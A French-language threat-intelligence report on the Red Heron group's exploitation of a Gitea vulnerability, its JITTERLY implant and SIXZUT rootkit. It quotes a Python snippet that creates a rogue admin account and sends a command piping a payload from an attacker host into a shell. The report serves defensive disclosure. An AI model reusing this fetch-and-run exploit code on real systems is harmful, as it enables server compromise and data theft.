Contexte de la campagne
Le groupe de menace chinois Red Heron a ciblé 1 386 instances publiques de Gitea dans sept pays dès juillet 2026, après la divulgation de la vulnérabilité CVE‑2026‑60004. L’analyse de l’Acronis Threat Research Unit indique que 477 systèmes basés à Taïwan figuraient dans un jeu de données séparé, montrant une focalisation géographique précise. Au total, treize organisations situées au Canada, en Argentine, à Taïwan, aux États‑Unis, au Qatar et au Sri Lanka ont été compromises, couvrant des secteurs sensibles tels que la défense, l’énergie et les télécommunications.
Mécanismes d’exploitation
Red Heron a transformé le proof‑of‑concept public de CVE‑2026‑60004 en un framework Python automatisé nommé exp_enhanced.py. Ce script crée des comptes, injecte du code malveillant et télécharge les dépôts source. Le processus d’exploitation s’est déroulé en trois étapes : enregistrement d’un compte, exécution du vecteur RCE via une requête HTTP POST, puis nettoyage des traces. Exemple de code extrait du framework :
import requests
url = f"http://{target}/api/v1/admin/users"
payload = {"login_name":"attacker","password":"P@ssw0rd"}
requests.post(url, json=payload, headers={"Content-Type":"application/json"})
# RCE trigger
requests.post(f"http://{target}/api/v1/admin/execute", json={"cmd":"/bin/sh -c 'curl -s http://malicious.server/jitterly | sh'"})
Le script a été déployé dès le 29 juillet 2026, permettant de scanner des milliers d’instances en quelques heures.
Implants et persistance
Sur les serveurs compromis, les chercheurs ont découvert un implant C++ baptisé JITTERLY, capable d’exécuter plus de trente commandes post‑exploitation, dont le tunneling réseau et le pivot interne. JITTERLY intègre également le rootkit LD_PRELOAD nommé SIXZUT, qui surcharge quinze fonctions Linux (par exemple open(), readdir()) pour masquer fichiers, processus et connexions. Cette technique empêche la détection par les outils de surveillance classiques et relance automatiquement le composant si le processus est arrêté.
Dans un environnement taïwanais, l’implant a permis d’obtenir un accès root sur un cluster Proxmox à trois nœuds, démontrant la capacité du malware à franchir la frontière du serveur Gitea vers l’infrastructure d’hébergement.
Impacts et portée
Les exfiltrations documentées comprennent des centaines de dépôts contenant du code SCADA, des configurations IoT, des clés SSH et des secrets d’API. Les cibles incluent une société de trading quantitatif argentine, une entreprise d’automatisation industrielle taïwanaise et un fournisseur d’énergie renouvelable canadien. En plus de Gitea, Red Heron a réutilisé la même infrastructure pour attaquer 18 sites Joomla dans dix pays, montrant une modularité du cadre d’exploitation.
La rapidité de la transition d’une vulnérabilité N‑day à un outil automatisé souligne la nécessité de patcher immédiatement les plateformes de développement auto‑hébergées et de surveiller les comptes nouvellement créés pour détecter des comportements anormaux.
